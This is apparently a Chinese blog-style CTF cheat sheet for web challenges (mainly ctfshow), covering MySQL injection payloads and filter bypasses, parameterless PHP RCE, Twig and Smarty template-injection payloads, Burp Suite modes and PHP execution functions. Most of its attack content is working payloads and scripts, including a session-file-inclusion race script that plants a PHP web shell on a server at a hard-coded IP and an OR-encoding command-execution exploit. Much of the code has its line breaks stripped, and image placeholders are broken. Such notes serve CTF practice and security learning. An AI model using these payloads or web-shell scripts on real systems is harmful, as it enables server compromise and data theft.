payload:`select concat(`2`,x02d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;`
概述Mysql信息
ctfshow 235 236
概述MySQL信息
-
查詢位置1mysql.innodb
持久化統(tǒng)計信息保存在表mysql.innodb_table_stats和mysql.innodb_index_stats
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-nDehSdqO-1653964264391)(./CTF/indb.jpg)]
payload:username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())-- - &password=\
username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)-- - &password=\
username=,username=(select 2 from(select 1,2,3 union select * from flag23a1 limit 1,1)a)-- - &password=\
-
查詢位置2sys schema
其中
-
sys.schema_auto_increment_columns
可以實現(xiàn)對表自增ID的監(jiān)控,也可以發(fā)現(xiàn)我們可以通過該視圖獲取數(shù)據(jù)庫的表名信息
payload:-1' union all select 1,2,group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()--+
-
sys.schema_table_statistics_with_buffer
上一個試圖總并沒有出現(xiàn)的表名在這里出現(xiàn)
payload:?id=-1' union all select 1,2,group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()--+
-
processlist
該表可以讀取正在執(zhí)行的sql語句,從而得到表名和列名
-
常用函數(shù)
- locate(substr,string)
ctfshow 194
返回字符串string第一次出現(xiàn)子字符串的位置-
chr()
將字符轉(zhuǎn)為16進(jìn)制
-
replace()
替換內(nèi)容,可以用來繞過對結(jié)果顯示的過濾
-
load_file()
//ctfshow 189
https://www.cnblogs.com/blacksunny/p/8060028.html
知道系統(tǒng)絕對路徑且具有讀取權(quán)限
繞過過濾
-
如果limit處逗號被過濾
使用limit 1 offset 0代替
-
如果substr\left\mid中的逗號被過濾
使用from xxx for xxx代替
原來:substr({payload},1,1)
現(xiàn)在:substr({payload} from 1 for 2)[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-sbgvoZEM-1653964264392)(./CTF/fromfor.jpg)]
-
or或者information被過濾
參見概述Mysql信息模塊使用的兩個數(shù)據(jù)庫(mysql>5.7),sys schema和innodb schema兩個數(shù)據(jù)庫
-
=和like被過濾
用正則匹配方法regexp()繞過
-
if被過濾
用case when代替
payload:id=1^case%0aascii(substr(database(),1,1))when(102)then 2 else 3 end
-
反斜杠繞過單引號過濾
ctfshow 235
前提是兩個參數(shù)可控
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";可以傳password為1\,這樣pass的單引號就被轉(zhuǎn)義導(dǎo)致將原先后面的語句包括,變?yōu)閜ass='1\'where username =',然后就在username進(jìn)行注入,需要重新加一個username=,因為原先的變成password的一部分了
payload:# username=,username=(select group_concat(table_name) from information_schema.columns where table_schema=database())-- - &password=\
-
正則沒加/i修飾符
嘗試大小混寫繞過
-
過濾去除匹配項
嘗試雙寫繞過
-
空格過濾
-
()代替
考慮用報錯注入,可以不用空格,select的內(nèi)容可以用括號()括住,eg:select(database())
-
/**/代替
-
/*!...*/內(nèi)聯(lián)注釋代替
在mysql中 /*! ....*/ 不是注釋,mysql為了保持兼容,它把一些特有的僅在mysql上用的語句放在/*!....*/中,這樣這些語句如果在其他數(shù)據(jù)庫中是不會被執(zhí)行,但在mysql中它會執(zhí)行
-
%0a\%0b\%0c...
-
-
敏感字符過濾
url編碼繞過?
`Test=char(101)+char(97)+char(115)+char(116)`
十六進(jìn)制轉(zhuǎn)換繞過
ascii編碼繞過 -
等價符號替代
=–>like
^–>or–>||(||在MySQL中可以起到拼接的作用)
&&–>and
小技巧
-
group by + with rollup
知識盒子騷操作總結(jié)
group by將結(jié)果集中的數(shù)據(jù)行根據(jù)選擇列的值進(jìn)行邏輯分組
with rollup(group by 后可以跟with rollup,表示在進(jìn)行分組統(tǒng)計的基礎(chǔ)上再次進(jìn)行匯總統(tǒng)計) -
where的替代
與where具有相同作用的還有on、like
-
快速判斷注入類型
使用 2+2 如果正常查詢4內(nèi)容,就是數(shù)字,反之字符
-
select to_base64()
將查詢內(nèi)容轉(zhuǎn)換為base64進(jìn)行輸出
-
十六進(jìn)制
數(shù)據(jù)庫中十六進(jìn)制也可以用來當(dāng)作鍵值
-
^
數(shù)據(jù)庫中可以在查詢值中用異或運(yùn)算符
-
or
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
可以使用0'or(id=26)and'a'='a進(jìn)行繞過,用或條件,用于空格所有被過濾,無法創(chuàng)造一個完整的新語句,就得利用之前給到的語句。
-
where xxxx=0查詢所有數(shù)據(jù)
select * from test where username =0 可以查出表中所有的記錄,因為在username和0比較的時候進(jìn)行弱比較,字符串轉(zhuǎn)為0,這樣一來就構(gòu)成了0=0,所以查詢成功
-
regexp
mysql可以使用正則表達(dá)式對結(jié)果進(jìn)行過濾
無參數(shù)RCE
什么是無參數(shù)RCE
前言
總體利用思路:
- 超全局變量進(jìn)行bypass,進(jìn)行RCE
- 進(jìn)行任意文件讀取
概念
通常情況下我們都是利用一句話木馬傳參數(shù)進(jìn)行g(shù)etshell,eval(system('ls /'));
但是如果對GET參數(shù)進(jìn)行正則校驗就會將輸入的參數(shù)過濾掉
/[^\W]+\((?R)?\)/只允許執(zhí)行a(b(c()));或者a();,但是不允許a('123'),沒有參數(shù)進(jìn)行命令執(zhí)行就會變得困難。
-
超全局變量
PHP中許多預(yù)定義變量都是"超全局的",這意味著他們在一個腳本的全部作用域中都可用,在函數(shù)或者方法中無需執(zhí)行flobal $variable;就可以訪問他它們。
使用
getenv辦法
-
getenv
獲取一個環(huán)境變量的值,可以獲取當(dāng)前環(huán)境變量
-
array_rand()
從數(shù)組中隨機(jī)抽取一個或者多個單元(偽隨機(jī)),這樣獲取的是數(shù)組中的鍵
-
array_flip()
交換數(shù)組中的鍵和值
getallheaders()
-
getallheaders()
在apache2環(huán)境中
可以將獲取http頭中的所有信息,而在http請求頭中我們可以自定義屬性和其值,就像添加XFF那樣,添加sky:system('ls /tmp')進(jìn)行RCE
get_defined_vars()
使用getallheaders()其實具有局限性,因為它是apache2函數(shù),如果目標(biāo)中間件部位apache,那么這種方法就會失效,更好的選擇是ger_defined_vars()
這種方法可以將變量進(jìn)行回顯,包括全局變量$_GET,$_POST,$_FILES,$_COOKIE
%url%/index.php?code=var_dump(current(get_defined_vars()));&sky=123這樣就會把sky參數(shù)回顯出來,利用這一特性,我們可以給參數(shù)賦惡意值,然后使用此函數(shù)對相應(yīng)參數(shù)進(jìn)行打印執(zhí)行。
current() 返回數(shù)組中的當(dāng)前單元, 默認(rèn)取第一個值。
為了繞過get,post,cookie三種參數(shù)的多重過濾,可以從files參數(shù)下手,前輩寫的腳本如下
import requests from io import BytesIOpayload = "system('ls /tmp');".encode('hex') files = {payload: BytesIO('sky cool!') }r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)print r.contentsession_id()
該函數(shù)可以獲取/設(shè)置當(dāng)前會話id。PHPSESSID允許字母和數(shù)字出現(xiàn)。
-
hex2bin
將十六進(jìn)制轉(zhuǎn)換為ASCII字符
echo hex2bin("48656c6c6f20576f726c6421"); Hello World!? 5044383959474e6864434171594473 ? PD89YGNhdCAqYDs <?=`cat *`;
dirname()&chdir()
如果不能RCE便嘗試能不能直接讀取文件,要進(jìn)行目錄遍歷
-
getcwd()
用于獲取當(dāng)前目錄
?code=var_dump(getcwd()); string(13) "/var/www/html" -
scandir()
這個函數(shù)其實在sql注入中也用過
?code=var_dump(scandir(getcwd()));array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" } -
dirname()
返回路徑中的目錄部分,也就是說將路徑中的最后一部分去掉
目錄回溯,上級目錄
?code=var_dump(scandir(dirname(getcwd()))); -
chdir()
更改當(dāng)前目錄為指定路徑
chdir(string $directory):bool
chdir(dirname(getcwd()))這樣就可以切換當(dāng)前目錄到上級目錄
-
localeconv()
返回一包含本地數(shù)字及貨幣格式信息的數(shù)組,數(shù)組第一項是.,可以代表當(dāng)前目錄的意思
-
current()
返回數(shù)組中的當(dāng)前單元,默認(rèn)取第一個值,這個函數(shù)和上一個函數(shù)一結(jié)合,返回的就是.
這個函數(shù)的別名是pos()
-
next()
將數(shù)組內(nèi)部指針指向前移動一位
-
end()
將數(shù)組內(nèi)部指針指向最后一個單元
-
each()
返回數(shù)組中當(dāng)前的鍵/值對,并將數(shù)組指針向前移動一位
-
prev()
將數(shù)組的內(nèi)部指針倒回一位
-
reset()
將數(shù)組的內(nèi)部指針指向第一個單元
-
session_start()
session_start()告訴PHP使用session,php默認(rèn)不主動使用session
-
shell_exec()
縮寫就是(``),其中的內(nèi)容可以被執(zhí)行,適用于
PHPINFO()關(guān)注點
-
auto_append_file
自動包含文件
JAVA
Javan基礎(chǔ)
servlet
Servlet是在 Java Web容器中運(yùn)行的小程序,通常我們用Servlet來處理一些較為復(fù)雜的服務(wù)器端的業(yè)務(wù)邏輯。Servlet是Java EE的核心,也是所有的MVC框架的實現(xiàn)的根本!Struts 2
-
概念
Struts是一個基于MVC設(shè)計模式的Web應(yīng)用框架,它本質(zhì)上相當(dāng)于一個servlet,在MVC設(shè)計模式中,Struts2作為控制器來建立模型與視圖的數(shù)據(jù)交互。Struts2是Struts的下一代產(chǎn)品,是在Struts1和WebWork的技術(shù)基礎(chǔ)上進(jìn)行了合并都得1全新Struts2框架,其全新的Struts2的體系結(jié)構(gòu)與Struts1的體系結(jié)構(gòu)差別巨大。Struts2以WebWork位核心,采用攔截器的機(jī)制來處理用戶的請求,這樣的設(shè)計也使得業(yè)務(wù)邏輯控制器能夠與ServletAPI完全脫離開,所以Struts2可以理解位WebWork都得更新產(chǎn)品。
S2-001
模板注入
思路圖
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-vC91yQGv-1653964264393)(https://gitee.com/i404notforget/sprint/raw/master/img/20210611200627.png)]
常用payload
-
Twig(PHP模板語言)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
-
smarty
在相應(yīng)注入點{{system('cat /flag')}}
暴力破解
burpsuite
爆破模式
-
sniper
適用于單個爆破位置,將所有payload在同一位置進(jìn)行嘗試
-
battering ram(攻城錘)
多個位置,同時使用相同payload
-
pitch fork(草叉)
多個位置,每個位置都需要配置字典,爆破時各個位置分別使用自己列表中相同位置的payload
position1:1,2 position2:3,4=>1,3 =>2,4 -
cluster bomb
多個位置,使用笛卡爾乘積嘗試payload,遍歷每一種可能的請求結(jié)果
position1:1,2 position2:3,4=>1,3 =>1,4 =>2,3 =>2,4
payload type
-
custom iterator(自定義迭代器)
支持不同位置payload進(jìn)行拼接,分別設(shè)置不同位置使用多個payload,然后拼接起來統(tǒng)一進(jìn)行處理
使用迭代器的時候攻擊位置為1就可以了
payload processing
- 增加一種新的處理(編碼)方式對payload進(jìn)行處理
流量包分析
(CTF-流量包分析get flag思路)[https://www.jianshu.com/p/a5dc4f6cf3f8]
binwalk判斷是否傳輸文件
binwalk xxx.xxx查看具體信息
binwalk -e xxx.xxx將其中的文件釋放
file 查看具體文件類型
file xxx.xxx
strings提取文件內(nèi)字符
strings xxx.xxx|grep -a flag提取flag字樣字符
strings xxx.xxx | base64 -dbase64解碼獲得的內(nèi)容
常見命令
linux
-
讀文件
-
cat
正序讀文件,從第一行
-
tac
反向讀文件,從尾行向上讀取
-
more/less
適應(yīng)窗口大小輸出文件內(nèi)容
less還可以翻頁
-
-
find
find / -name xxx
-
tee
ls / | tee 3 將結(jié)果輸出到3文件
注
-
php+linux
$c=$_GET['c']; eval($c); ======> echo `find / -name fl\ag.php`;
正則匹配
修飾符元字符
. 匹配除換行符以外的任意字符\w 匹配字母或數(shù)字或下劃線或漢字 等價于 '[^A-Za-z0-9_]'。\s 匹配任意的空白符\d 匹配數(shù)字\b 匹配單詞的開始或結(jié)束^ 匹配字符串的開始$ 匹配字符串的結(jié)束\w 能不能匹配漢字要視你的操作系統(tǒng)和你的應(yīng)用環(huán)境而定其他
管道符
-
&
命令后加&表示將進(jìn)程放在后臺
-
&&
前一條命令成功執(zhí)行才執(zhí)行后一條命令
-
|
將上一條命令的輸出作為下一條命令的輸入
-
||
上一條命令執(zhí)行失敗之后才會執(zhí)行下一條命令
-
>
將內(nèi)容作為標(biāo)準(zhǔn)輸出信息覆蓋寫入某一位置
-
>>
將內(nèi)容作標(biāo)準(zhǔn)輸出信息追加寫到某一位置
-
<
將內(nèi)容作標(biāo)準(zhǔn)輸入流讀入前命令
-
<< xxx
從某位置讀入輸入信息,直到匹配道與xxx相同的內(nèi)容然后停止
-
&>
不管命令執(zhí)行結(jié)果是正確信息還是錯誤信息都覆蓋輸入到xxx
-
``
語言特性
-
php反引號
php中反引號中的內(nèi)容會當(dāng)作命令執(zhí)行,和system()有著相似的作用
-
file_get_contents()
函數(shù)將文件內(nèi)容讀取為字符串形式,所以說這個函數(shù)可以結(jié)合data://偽協(xié)議,該偽協(xié)議是將文本內(nèi)容進(jìn)行輸出,這樣一結(jié)合就可以包含自己想要的內(nèi)容
-
include()
可以包含文件包含變量,或者引入其他內(nèi)容
-
<?=?>
php短標(biāo)簽,<?php ?>是長標(biāo)簽,在php的配置文件(php.ini)中有一個short_open_tag的值,開啟后可以使用PHP短標(biāo)簽<??>
同時,只有開啟這個才可以使用<?=代替<? echo <??>
但是短標(biāo)簽是不推薦的,使用<?php ?>才是規(guī)范的方法,只是因為這種短標(biāo)簽使用的時間比較長,這種特性才被保存下來。
-
./flag.php
結(jié)合目錄訪問特性繞過全字正則匹配
-
ereg
匹配字符串中的指定內(nèi)容,存在NULL截斷漏洞,可以用%00繞過
-
eregi
不區(qū)分大小寫的匹配,二次url編碼繞過
-
GLOBALS
全局變量,可以用來賦值,然后var_dump
-
_函數(shù)
gettext()函數(shù)的別名,返回文本信息
代碼執(zhí)行函數(shù)集合
-
eval
-
preg_replace+/e
-
assert
-
call_user_func($參數(shù),$函數(shù))
call_user_func_array()
-
create_function($參數(shù),$函數(shù))
適用范圍:PHP4>=4.0.1 PHP5 PHP7
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; ?>
創(chuàng)建一個新的匿名函數(shù),并將第一個變量作為參數(shù)傳給函數(shù),為其返回唯一名稱 -
array_map()
將用戶自定義函數(shù)作用到數(shù)組中每個值上
<?php //?func=system&cmd=ipconfig $func=$_REQUEST['func']; $cmd=$_REQUEST['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); ?> -
array_filter
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array
依次將array數(shù)組中的每個值傳遞到callback函數(shù),如果callback函數(shù)返回true,則array數(shù)組的當(dāng)前值會被包含在返回的結(jié)果數(shù)組中。
<?php //?func=system&cmd=whoami $cmd=$_REQUEST['cmd']; $array1=array($cmd); $func =$_REQUEST['func']; array_filter($array1,$func);#把前面的數(shù)組內(nèi)容傳到后面的函數(shù)中(callback函數(shù)) ?>
顯示文件內(nèi)容函數(shù)總結(jié)
-
file_get_contents()
將整個文件的內(nèi)容讀入一個字符串
-
readfile()
讀取文件并輸出到緩存
-
highlight_file()
別名為show_source()
-
fopen()
將指定文件打開并綁定到一個流上
$handle = fopen("c:\\folder\\resource.txt", "r"); -
fread()
<?php $filename = "c:\\files\\somepic.gif"; $handle = fopen($filename, "rb"); $contents = fread($handle, filesize($filename)); fclose($handle); ?> -
fgetss($handle, 4096)
從文件指針中讀取一行并過濾html標(biāo)記
-
fgets($handle, 4096)
從文件指針中讀取一行
-
parse_ini_file()
-
file()
將整個文件的內(nèi)容讀入一個數(shù)組
-
unicode單個字符可以表示很大的數(shù)字
命令執(zhí)行函數(shù)集合
-
system()
執(zhí)行外部程序,并且顯示輸出
-
exec()
執(zhí)行一個外部程序
echo exec(ls);
如果要獲得運(yùn)行結(jié)果,要使用output參數(shù) -
shell_exec()
通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回
-
passthru()
執(zhí)行外部程序并且顯示原始輸出
-
pcntl_exec()???暫不明
在當(dāng)前進(jìn)程空間執(zhí)行指定程序
利用集合
-
函數(shù)組合
show_source(next(array_reverse(scandir(current(localeconv())))));
其中show_source()的別名是highlight_file(),current()的別名是pos()同理,readfile()也有相同作用
-
造參傳參
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
抓包改包
-
burpsuiteget改post
請求方式改成POST
加入content-type:application/x-www-form-urlencoded
最下面加上要傳的參數(shù)
概念科普
-
php探針是用來探測空間、服務(wù)器運(yùn)行狀況和PHP信息用的,探針可以實時查看服務(wù)器硬盤資源、內(nèi)存占用、網(wǎng)卡 流量、系統(tǒng)負(fù)載、服務(wù)器時間等信息
-
php中GET請求參數(shù)不用單引號引起來也可以是因為利于php向下兼容
-
/dev/null:表示 的是一個黑洞,通常用于丟棄不需要的數(shù)據(jù)輸出, 或者用于輸入流的空文件
1.1 將無用的輸出流寫入到黑洞丟棄。
curl -Iwww.baidu.com 2>/dev/null | head -l 錯誤信息定位到黑洞
1.2 清空文件
cat /dev/null > /home/omc/h.txt
1.3 在書寫定時任務(wù)總,規(guī)范的寫法就是將所有定時任務(wù)腳本結(jié)尾加上>/dev/null 2>&1,讓所有的輸出流(包括錯誤的和正確的)都定向到空設(shè)備丟棄。
-
有三種輸出流,1標(biāo)準(zhǔn)輸出,2錯誤輸出,3異常輸出
-
dnslog
-
dns請求有日志記錄,日志可以查看有多少ip訪問該域名
-
可以查看請求數(shù)據(jù)
-
腳本
爆破腳本
繞過測試
ctfshow web入門 web41
生成可用字符集合
<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}} } fwrite($myfile,$contents); fclose($myfile);傳遞參數(shù)
# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #沒有將php寫入環(huán)境變量需手動運(yùn)行 if(len(argv)!=2):print("="*50)print('USER:python exp.py <url>')print("eg: python exp.py http://ctf.show/")print("="*50)exit(0) url=argv[1] def action(arg):s1=""s2=""for i in arg:f=open("rce_or.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))data={'c':urllib.parse.unquote(param)}r=requests.post(url,data=data)print("\n[*] result:\n"+r.text)session 文件包含
#coding=utf-8 ? import io import requests import threading sessid = 'TGAO' data = {"cmd":"system('whoami');"} def write(session):while True:f = io.BytesIO(b'a' * 1024 * 50)resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session):while True:resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)if 'tgao.txt' in resp.text:print(resp.text)event.clear()else:print("[+++++++++++++]retry") if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in xrange(1,30): threading.Thread(target=write,args=(session,)).start()for i in xrange(1,30):threading.Thread(target=read,args=(session,)).start()event.set() import requests import io import threadingurl='http://114.115.207.198:200/aGho.php' sessionid='ctfshow' data={"c":"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');" }def write(session):fileBytes = io.BytesIO(b'a'*1024*50)while True:response=session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},cookies={'PHPSESSID':sessionid},files={'file':('ctfshow.jpg',fileBytes)})def read(session):while True:response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={'PHPSESSID':sessionid})resposne2=session.get(url+'2.php');if resposne2.status_code==200:print('++++++done++++++')else:print(resposne2.status_code)if __name__ == '__main__':evnet=threading.Event()with requests.session() as session:for i in range(5):threading.Thread(target=write,args=(session,)).start()for i in range(5):threading.Thread(target=read,args=(session,)).start()evnet.set()工具參數(shù)
SQLmap
強(qiáng)大的sql注入工具
https://www.freebuf.com/sectool/164608.html
-
--user-agent
指定agent
-
--referer
指定referer,referer偽造,指明從哪個頁面過來的
-
--data
–data=DATA 通過POST發(fā)送數(shù)據(jù)參數(shù),sqlmap會像檢測GET參數(shù)一樣檢測POST的參數(shù)。–data=“id=1” -f --banner --dbs --users
-
--dbms
指定數(shù)據(jù)庫管理系統(tǒng)
-
--header
指定請求頭內(nèi)容,–headers=“Content-Type: text/plain”
-
--cookie
指定cookie值--cookie="PHPSESSID=xxx"
-
--safe-url
指定跳轉(zhuǎn)頁面前訪問的頁面,繞過鑒權(quán)
-
--safe-freq
指定前頁面的訪問次數(shù)
-
--os-shell
SQLMAP特性
- 自動判斷閉合
nmap
- ``
總結(jié)
以上是生活随笔為你收集整理的CTF常见用法小总结的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 163发送邮件服务器拒收,向网易163邮
- 下一篇: 修改jsp文件刷新网页没有更新